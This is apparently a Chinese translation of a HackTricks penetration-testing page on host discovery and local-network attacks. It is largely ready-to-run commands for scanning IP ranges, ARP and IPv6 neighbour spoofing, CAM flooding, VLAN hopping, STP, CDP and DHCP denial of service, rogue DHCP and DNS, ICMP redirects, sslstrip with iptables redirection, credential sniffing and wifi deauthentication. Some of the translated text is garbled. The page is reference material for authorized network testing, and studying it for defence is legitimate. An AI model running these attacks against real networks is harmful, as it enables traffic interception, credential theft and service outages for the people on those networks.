黑客技术之主机发现|渗透测试|黑客技巧|hacktricks

黑客技术之主机发现|渗透测试|黑客技巧|hacktricks

从外部发现主机

这将是一个简短的章节有关如何查找IP地址响应来自互联网。 在这种情况下,您具有一定范围的IP(甚至可能有多个范围),而您只是要查找正在响应的IP

ICMP

这是发现主机是否启动的最简单最快的方法。 您可以尝试发送一些ICMP数据包并期望响应。最简单的方法是发送回显请求并从响应中期望。您可以使用简单或用于range来做到这一点。pingfping 您也可以使用nmap发送其他类型的ICMP数据包(这将避免对常见ICMP回显请求-响应的过滤器)。

ping -c 1 199.66.11.4     #1向主机的回显请求
fping -g 199.66.11.0/24#  将回显请求发送到此范围
nmap -PEPM -sP -n 199.66.11.0/24 #发送回显,时间戳请求和子网掩码请求

TCP端口发现

发现所有类型的ICMP数据包都已被过滤非常普遍。然后,您可以尝试检查打开的端口来检查主机是否启动。每个主机都有65535个端口,因此,如果您有一个“大的”范围,则无法测试每个主机的每个端口是否打开,这将花费太多时间。 然后,您需要的是快速端口扫描程序masscan)和更多使用端口列表

#使用masscan在/24范围内扫描前20个nmap端口(少于5分钟)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

您也可以使用nmap来执行此步骤,但是nmap速度较慢,并且在识别主机方面有些问题。

HTTP端口发现

当您要专注于发现HTTP服务时,可以使用如下命令(默认端口).

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP端口发现

您也可以尝试检查一些UDP端口开放情况,以决定是否应该更多地关注主机。由于UDP服务通常不对常规的空UDP探测数据包做出任何响应,因此很难说端口是被过滤还是被打开。确定此问题的最简单方法是发送与正在运行的服务相关的数据包,并且由于您不知道正在运行哪个服务,因此应根据端口号尝试最可能的方法:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
#-sV将使nmap测试每个可能的已知UDP服务数据包
#“ --version-intensity 0”将使nmap仅测试最可能的

之前建议的nmap行将测试/24范围内的每个主机中的前100个UDP端口,但即使这样,也要花费> 20min的时间。如果需要最快的结果则可以使用udp-proto-scanner:这会将这些UDP探针发送到其预期的端口(对于/24范围,仅需1分钟)

./udp-proto-scanner.pl 199.66.11.53/24

DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp

SCTP端口发现

#可能没用,但是速度很快,为什么不尝试呢?
nmap -T4 -sY -n --open -Pn <IP/范围>

攻击wifi

在这里,你可以找到在写作时所有知名的无线上网攻击一个很好的指南。

从内部发现主机

如果您在网络内部,则要做的第一件事就是发现其他主机。根据您可以/想要做的噪声多少,可以执行不同的操作:

被动的

您可以使用以下工具来被动地发现连接的网络内的主机:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap2
net.recon on/off
net.show
set net.show.meta true #more info

主动的

请注意,“从外部发现主机TCP / HTTP / UDP / SCTP端口发现)”中注释的技术也可以在此处应用。 但是,由于您与其他主机位于同一网络中,因此您可以做更多的事情

#ARP发现
nmap -sn <Network> #ARP 请求(发现 IPs)
netdiscover -r <Network> #ARP 请求(发现 IPs)
 
#NBT发现
nbtscan -r 192.168.0.1/24 #在此列表中搜索域名
 
# Bettercap2 (缺省情况下,发送ARP请求) 
net.probe on/off #激活所有服务发现和ARP
net.probe.mdns #搜索本地mDNS服务(发现本地)
net.probe.nbns #询问NetBios名称(发现本地)
net.probe.upnp # 查询服务(本地发现)
net.probe.wsd # 搜索Web服务发现(本地发现)
net.probe.throttle 10 #发送请求之间的10ms(发现本地)
 
#IPv6
alive6 <IFACE> # 发送一个pingv6到多播。

主动ICMP

请注意,“从外部发现主机ICMP)”中注释的技术也可以在此处应用。 但是,由于您与其他主机位于同一网络中,因此您可以做更多的事情

  • 如果ping通一个子网广播地址的平应该到达每个主机,他们可以回应ping -b 10.10.5.255
  • ping网络广播地址,您甚至可以在其他子网中找到主机:ping -b 255.255.255.255
  • 使用的标志执行主机发现,以发送ICMPv4 echotimestamp子网掩码请求:
nmap -PEPM -sP –vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan用于通过网络消息打开计算机。用来打开计算机电源的魔术包只是提供了MAC Dst的包,然后在同一包装袋内重复进行了16次 然后,通常将此类数据包通过以太网0x0842UDP数据包发送到端口9。 如果未提供[MAC],则将数据包发送到广播以太网(广播MAC将是重复的MAC)。

#WOL (不使用MAC ff:...:ff)
wol.eth [MAC] #发送一个WOL作为原始以太网数据包类型 0x0847
wol.udp [MAC] #将WOL作为IPv4广播报文发送到UDP端口9
## Bettercap2也可以用于此目的

扫描主机

一旦发现了要深入扫描的所有IP(外部或内部),便可以执行不同的操作。

TCP协议

  • 打开端口:SYN-> SYN / ACK-> RST
  • 封闭端口:SYN-> RST / ACK
  • 筛选的端口:SYN-> [无响应]
  • 筛选的端口:SYN-> ICMP消息
## Nmap快速扫描使用的最多的1000个tcp端口
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> 
## Nmap快速扫描所有端口
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
## Nmap快速扫描所有端口,以免因-T4而失败
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap2扫描
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP协议

扫描UDP端口有2个选项:

  • 发送UDP数据包,如果端口关闭,则检查响应ICMP不可达(在某些情况下,将对ICMP进行过滤,因此当端口关闭或打开时,您将不会收到任何信息)。
  • 发送格式化的数据报以引起服务的响应(例如,DNS,DHCP,TFTP和其他,如nmap-payload中所列)。如果收到响应,则说明该端口已打开

Nmap将使用“ -sV”混合这两个选项(UDP扫描非常慢),但是请注意,UDP扫描比TCP扫描慢:

## 检查是否有最常见的udp服务正在运行
udp-proto-scanner.pl <IP> 
## Nmap快速检查是否有100个最常见的UDP服务正在运行
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
## Nmap检查是否有100个最常见的UDP服务正在运行并启动默认脚本
nmap -sU -sV -sC -n -F -T4 <IP> 
## Nmap“fast”top 1000 UDP端口
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
## 您可以使用nmap测试所有UDP端口,但这将花费大量时间

SCTP扫描

SCTP与TCP和UDP并存。意在提供运输电话超过数据IP,协议复制许多的7号信令系统(SS7)的可靠性特性,并支撑被称为SIGTRAN较大协议族。包括IBM AIX,Oracle Solaris,HP-UX,Linux,Cisco IOS和VxWorks在内的操作系统均支持SCTP。

nmap提供了两种不同的SCTP扫描:-sY-sZ

## Nmap快速SCTP扫描
nmap -T4 -sY -n -oA SCTFastScan <IP>
##Nmap所有SCTP扫描
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

关于IDS和IPS绕过信息

****更多nmap选项****

显示内部IP地址

错误配置的路由器,防火墙和网络设备有时会使用非公共源地址来响应网络探测。您可以使用tcpdump识别在测试过程中从专用地址接收到的数据包。在这种情况下,可以从公共Internet寻址Kali Linux中的eth2接口(如果您位于防火墙NAT之后,则可能会过滤此类数据包)。

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

嗅探

嗅探可以通过查看捕获的帧和数据包来了解IP范围,子网大小,MAC地址和主机名的详细信息。如果网络配置错误或交换结构承受压力,攻击者可以通过被动网络嗅探捕获敏感材料。

如果正确配置了交换式以太网,则将仅看到发往MAC地址的广播帧和资料。

TCP转储

sudo tcpdump -i  udp port 53 #Listen to DNS request to discover what is searching the host
 tcpdump -i  icmp #Listen to icmp packets
 sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Bettercap2

net.sniff on
net.sniff stats
net.sniff.output #输出文件
net.sniff.local #接受来自此机器的数据包
net.sniff.filter
net.sniff.regexp

Wireshark

明显地。

捕获凭证

您可以使用https://github.com/lgandx/PCredz之类的工具来从pcap或实时界面中解析凭据。

局域网攻击

ARP欺骗

ARP欺骗包括发送免费的ARPRespons,以指示计算机的IP具有我们设备的MAC。然后,受害者将更改ARP表,并在每次要联系被欺骗IP时与我们的计算机联系。

Bettercap2

arp.spoof on
arp.ban on # 没有ipv4重定向
arp.spoof.targets
arp.spoof.whitelist
arp.spoof.internal #欺骗本地连接(默认情况下只有受害者<——>网关

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding-CAM溢出

交换机的CAM表溢出,发送大量具有不同源mac地址的数据包。当CAM表已满时,交换机开始表现得像集线器一样(广播所有流量)。

macof -i <interface>

在现代交换机中,此漏洞已得到修复。

802.1Q VLAN

动态中继

默认情况下,许多交换机都支持动态中继协议(DTP),攻击者可能会滥用该协议来模拟交换机并接收所有VLAN上的流量dtpscan.sh工具可以嗅探接口并报告交换机是否处于默认模式,中继,动态,自动或访问模式(这是唯一可以避免VLAN跳频的模式)。该工具将指示开关是否易受攻击。

如果发现网络易受攻击,则可以使用耶尔森州使用协议“ DTP ”启动“启用中继”,您将能够看到来自所有VLAN的网络数据包。

apt-get install yersinia #Installation
yersinia -I #Interactive mode
#在交互模式下,首先需要选择一个接口
#然后,您可以使用字母“g”选择要攻击的协议
#最后,您可以选择攻击使用字母“x”

攻击特定的VLAN

知道VLAN ID和IP值后,就可以配置虚拟接口来攻击特定的VLAN。 如果DHCP不可用,则使用ifconfig设置静态IP地址。

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
          inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:19 errors:0 dropped:0 overruns:0 frame:0
          TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)
 
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24

自动VLAN料斗

所讨论的攻击是动态中继和创建虚拟接口内的主机发现其他VLAN的自动执行该工具:https://github.com/nccgroup/vlan-hopping—frogger

双重标记

如果攻击者知道受害者主机MAC,IP和VLAN ID的值,则他可以尝试使用其指定的VLAN和受害者的VLAN对进行双重标记并发送数据包。由于受害者将无法与攻击者重新建立联系,因此对于攻击者而言,最好的选择是通过UDP与协议进行通信,而不是执行一些有趣的操作(例如SNMP)。

攻击者的另一种选择是启动TCP端口扫描,以欺骗由攻击者控制的IP,并且受害者可以(可能是通过Internet)访问该IP。然后,如果攻击者从受害者那里收到了一些数据包,则它可能会嗅探到他拥有的第二个主机。

第3层专用VLAN旁路

在来宾无线网络和其他环境中,专用VLAN(也称为端口隔离)设置用于防止对等方进行交互(即,客户端连接到无线访问点但不能互相寻址)。根据网络ACL(或缺少ACL),可能有可能将IP数据包发送到路由器,然后再转发回相邻的对等方。

这种攻击会将特制的数据包发送到客户端的IP,但带有路由器的MAC。然后,路由器会将数据包重定向到客户端。与双重标记攻击一样,您可以通过控制受害者可以访问的主机来利用此漏洞。

STP攻击

如果无法在接口上捕获BPDU帧,则成功进行STP攻击的可能性很小。

STP BPDU DoS

发送大量BPDU TCP(拓扑更改通知)或Conf(创建拓扑时发送的BPDU)会使交换机过载,并且无法正常工作。

yersina stp -attack 2
yersina stp -attack 3
#使用-M禁用MAC欺骗

STP TCP攻击

发送TCP消息后,交换机的CAM表将在15秒内删除。然后,如果您连续发送此类数据包,则CAM表将连续重新启动(或每15segs),并且在重新启动时,交换机将充当集线器

yersina stp -attack 1 #将发送一个TCP包和交换机应该恢复CAM在15秒
 yersina stp -attack 0 #发送1个CONF数据包,不会发生其他事情

STP root攻击

攻击者模拟交换机的行为,使其成为网络的STP root。然后,更多数据将通过他。当您连接到两个不同的交换机时,这很有趣。 这是通过发送BPDU CONF数据包来完成的,该数据包说优先级值小于实际根交换机的实际优先级。

yersina stp -attack 4 #行为像root开关
 yersina stp -attack 5 #这将使设备表现为一个开关,但不是root

如果攻击者连接到2台交换机,则他可以成为新树的root,并且这些交换机之间的所有流量都将通过他(将执行MITM攻击)。

yersina stp -attack 6 #这将导致DoS,因为第2层数据包不会被转发。你可以使用Ettercap转发那些数据包“嗅探”——>“桥接嗅探”
 ettercap -T -i eth1 -B eth2 -q #在两个接口之间设置桥接,转发数据包

CDP攻击

CISCO发现协议是CISCO设备用于在它们之间进行交谈,发现谁还活着以及具有什么功能的协议。您可以通过用尽模拟真实CISCO设备的设备内存来对CISCO交换机进行DoS攻击。

您可以用来捕获CDP帧并显示信息Yersina

sudo yersinia cdp -attack 1 #DoS攻击模拟新的思科设备
sudo yersinia cdp -attack 2 #模拟一个新的思科设备
sudo yersinia cdp -attack 0 #发送CDP报文

您也可以使用scapy。确保与软件包一起安装。scapy/contrib

DHCP

枚举

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover: 
|   Response 1 of 1: 
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

拒绝服务

可以针对DHCP服务器执行两种类型的DoS。第一个是模拟足够多的假主机以使用所有可能的IP地址。 仅当您看到DHCP服务器的响应并完成协议(发现(比较)->提供(服务器)->请求(比较)-> ACK(服务器))时,此攻击才会起作用。例如,在Wifi网络中这是不可能的

执行DHCP DoS的另一种方法是使用每个可能的IP作为源代码发送DHCP-RELEASE数据包。然后,服务器将认为每个人都已经使用完IP。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #需要更多的参数

这样做的一个更加自动化的方法是使用工具DHCPing

您可以使用上述的DoS攻击来迫使客户端在环境中获取新的租约,并耗尽合法的服务器,以使它们无法响应。因此,当合法尝试重新连接时,您可以服务器下次攻击中提到的恶意值

设置恶意值

您可以使用Responder DHCP脚本(/usr/share/responder/DHCP.py)建立恶意DHCP服务器。设置恶意网关是不理想的,因为被劫持的连接仅是半双工的(即,我们捕获来自客户端的出口数据包,而不捕获合法网关的响应)。因此,我建议设置一个恶意DNS或WPAD服务器,以特别捕获HTTP流量和凭据。

描述例子
我们的IP地址,广告为网关-i 10.0.0.100
本地DNS域名(可选)-d example.org
原始路由器/网关的IP地址-r 10.0.0.1
主DNS服务器IP地址-p 10.0.0.100
备用DNS服务器IP地址(可选)-s 10.0.0.1
本地网络的子网掩码-n 255.255.255.0
监听DHCP流量的接口-I eth1
WPAD配置地址(URL)-w“ http://10.0.0.100/wpad.dat\n”
欺骗默认网关IP地址-S
响应所有DHCP请求(非常嘈杂)-R

EAP

以下是一些可用于802.1X实现的攻击策略:

  • 通过EAP进行主动暴力破解密码
  • 使用格式错误的EAP内容**攻击RADIUS服务器(漏洞)
  • EAP消息捕获和离线密码破解(EAP-MD5和PEAP)
  • 强制EAP-MD5身份验证绕过TLS证书验证
  • 使用集线器或类似设备进行身份验证时注入恶意网络流量

如果攻击者位于受害者和身份验证服务器之间,则他可以尝试将身份验证协议降级为EAP-MD5(如有必要),并捕获身份验证尝试。然后,他可以使用以下方法强行执行此操作:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

HSRP和VRRP

在高可用性环境中使用热备路由协议(HSRP)和虚拟路由器冗余协议(VRRP)来提供故障转移支持。路由器将数据包发送到本地多播组,以宣布配置和优先级详细信息。

HSRP是没有RFC的专有Cisco协议,而VRRP是标准化的。要评估环境中的HSRP和VRRP支持,请使用网络嗅探器捕获管理流量。您可以使用多种工具来制作HSRP消息(包括Scapy和Yersinia),但是目前只有Loki提供VRRP支持。

有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。

RIP

存在三种版本的路由信息​​协议(RIP)-RIP,RIPv2和RIPng。RIP和RIPv2使用通过端口520发送给对等方的UDP数据报,而RIPng通过IPv6组播将数据报广播到UDP端口521。RIPv2引入了MD5身份验证支持。RIPng不包含本地身份验证;相反,它依赖于IPv6中的可选IPsec AH和ESP标头。

有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。

专家组

增强型内部网关路由协议(EIGRP)是Cisco专有的,可以在有或没有身份验证的情况下运行。__ Coly支持捕获EIGRP广播和注入数据包以操纵路由配置。

有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。

OSPF协议

大多数开放式最短路径优先(OSPF)实现都使用MD5在路由器之间提供身份验证。洛基(Loki)和开膛手约翰(John the Ripper)可以捕获并攻击MD5散列以揭示密钥,然后将其用于发布新路径。通过使用“注入”选项卡以及在“连接”下设置的键来设置路径参数。

有关如何攻击此协议的更多信息,请参阅《网络安全评估:了解您的网络》(第3版)。

****

您可以在此处找到有关网络攻击的更多信息。**(待办事项:请阅读全部内容和所有新攻击)

Spoofing

攻击者配置发送虚假DHCP响应的网络新成员的所有网络参数(GW,IP,DNS)。

Ettercap
yersinia dhcp -attack 2 #需要更多的参数

ICMP重定向

ICMP重定向包括发送一个ICMP数据包类型1代码5,该代码表示​​攻击者是到达IP的最佳方法。然后,当受害者想要联系IP时,它将通过攻击者发送数据包。

Ettercap
 icmp_redirect
 hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #发送icmp到[1]从[2]路由到[3]从[5]发送到[4]的报文

DNS欺骗

攻击者将解析受害者要求的某些(或全部)域。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

使用dnsmasq配置自己的DNS

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
 dig @localhost domain.example.com # 测试配置的DNS

本地网关

到系统和网络的多条路由经常存在。在本地网络中建立MAC地址列表后,请使用gateway-finder.py来标识支持IPv4转发的主机。

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
 root@kali:~# cd gateway-finder/
 root@kali:~# arp-scan -l | tee hosts.txt
 Interface: eth0, datalink type: EN10MB (Ethernet)
 Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 
 10.0.0.100     00:13:72:09:ad:76       Dell Inc.
 10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
 10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.
 root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
 gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
 [+] Using interface eth0 (-I to change)
 [+] Found 3 MAC addresses in hosts.txt
 [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
 [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

欺骗LLMNR,NBT-NS和mDNS

当DNS查找失败时,Microsoft系统会将链接本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)用于本地主机解析。Apple Bonjour和Linux零配置实现使用多播DNS(mDNS)来发现网络中的系统。这些协议未经身份验证,并通过UDP广播消息。因此,攻击者可以利用它们将用户定向到恶意服务。

您可以使用Responder模拟主机搜索的服务,以发送虚假响应。 在此处阅读有关如何使用Responder模拟服务的更多信息。

欺骗WPAD

许多浏览器使用Web代理自动发现(WPAD)从网络加载代理设置。WPAD服务器在通过以下任一方式被标识后,会通过特定的URL(例如http://wpad.example.org/wpad.dat)提供客户端代理设置:

  • DHCP,使用代码252条目34
  • DNS,在本地域中搜索wpad主机名
  • Microsoft LLMNR和NBT-NS(如果DNS查找失败)

响应程序自动执行WPAD攻击-运行代理并将客户端通过DHCP,DNS,LLMNR和NBT-NS定向到恶意WPAD服务器。 在此处阅读有关如何使用Responder模拟服务的更多信息。

欺骗SSDP和UPnP设备

您可以在网络中提供不同的服务,以尝试诱骗用户输入一些纯文本凭据有关 欺骗SSDP和UPnP设备的详细信息

IPv6邻居欺骗

此攻击与ARP欺骗非常相似,但在IPv6领域中。您可以使受害者认为GW的IPv6具有攻击者的MAC。

sudo parasite6 -l eth0 # 此选项将响应欺骗所请求地址的每个请求
 sudo fake_advertise6 -r -w 2 eth0  #该选项将每2秒发送一次邻居通告报文

IPv6路由器广告欺骗/泛洪

默认情况下,某些操作系统会根据网络中发送的RA数据包配置网关。要将攻击者声明为IPv6路由器,可以使用:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP欺骗

默认情况下,某些操作系统尝试配置DNS以读取网络中的DHCPv6数据包。然后,攻击者可以发送DHCPv6数据包以将自己配置为DNS。DHCP还向受害者提供了IPv6。

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
 
mitm6

HTTP(伪造页面和JS代码注入)

互联网攻击

sslStrip

基本上,此攻击的作用是在用户尝试访问重定向HTTPS版本的HTTP页面的情况下。sslStrip保持一个与HTTP连接客户端和一个与HTTPS连接服务器,以便其没有能够嗅探在连接纯文本

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

更多信息在这里

sslStrip +和dns2proxy绕过HSTS

差异之间sslStrip +和dns2proxysslStrip是,他们将重定向例如www.facebook.comwwww.facebook.com(注意额外的w ^ ”),并设置该域为攻击者的IP地址。这样,客户端连接wwww.facebook.com(攻击者),但在幕后sslstrip +保持实际的连接通过https与www.facebook.com

这项技术的目的避免HSTS,因为wwww .facebook.com不会保存在浏览器的缓存中,因此将欺骗浏览器在HTTP中执行facebook身份验证 请注意,为了执行此攻击,受害者必须尝试首先访问http://www.faceook.com而不是https。可以通过修改http页面内的链接来完成此操作。

更多信息在这里这里这里

sslStrip或sslStrip +不再起作用。这是因为浏览器中保留有HSTS规则,因此即使这是用户首次访问“重要”域,他也将通过HTTPS访问该规则。另外,请注意,预先保存的规则和其他生成的规则可以使用该标志, 因此之前wwww.facebook.com示例将不再起作用,因为facebook.com将HSTS与一起使用includeSubdomains includeSubdomains

待办事项:easy-creds,evilgrade,metasploit,factory

TCP监听端口

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL监听端口

生成密钥和自签名证书

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

用证书监听

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

使用证书进行侦听并重定向到主机

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

有时,如果客户端检查CA是否有效,则可以提供由CA签名的其他主机名的证书。 另一个有趣的测试是提供所请求的主机名的证书,但必须是自签名的

要测试的其他事项是尝试使用不是有效CA的有效证书对证书进行签名。或使用有效的公钥,强制将算法用作diffie hellman(不需要使用真实私钥解密任何内容的算法),并且当客户端请求对真实私钥的探测(例如哈希)时,发送一个算法假探针,并希望客户端不会对此进行检查。

Bettercap 2

## Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events 
events.clear
 
## Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
 
## Caplets
caplets.show
caplets.update
 
## Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

活动发现说明

请注意,当UDP数据包发送到没有请求的端口的设备时,会发送ICMP(端口不可达)。

ARP发现

ARP数据包用于发现网络内部正在使用的IP。PC必须为每个可能的IP地址发送一个请求,只有正在使用的IP地址才会响应。

mDNS(多播DNS)

Bettercap发送一个MDNS请求(每X毫秒),要求_services_.dns-sd._udp.local看到该paket的计算机通常会对此请求进行响应。然后,它仅搜索回答“服务”的机器。

工具

  • Avahi浏览器(-全部)
  • Bettercap(net.probe.mdns)
  • Responder

NBNS(NetBios名称服务器)

Bettercap将广播数据包广播到端口137 / UDP,询问其名称为“ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”。

SSDP(简单服务发现协议)

Bettercap广播的SSDP数据包可搜索所有类型的服务(UDP端口1900)。

WSD(Web服务发现)

Bettercap广播WSD数据包以搜索服务(UDP端口3702)。

from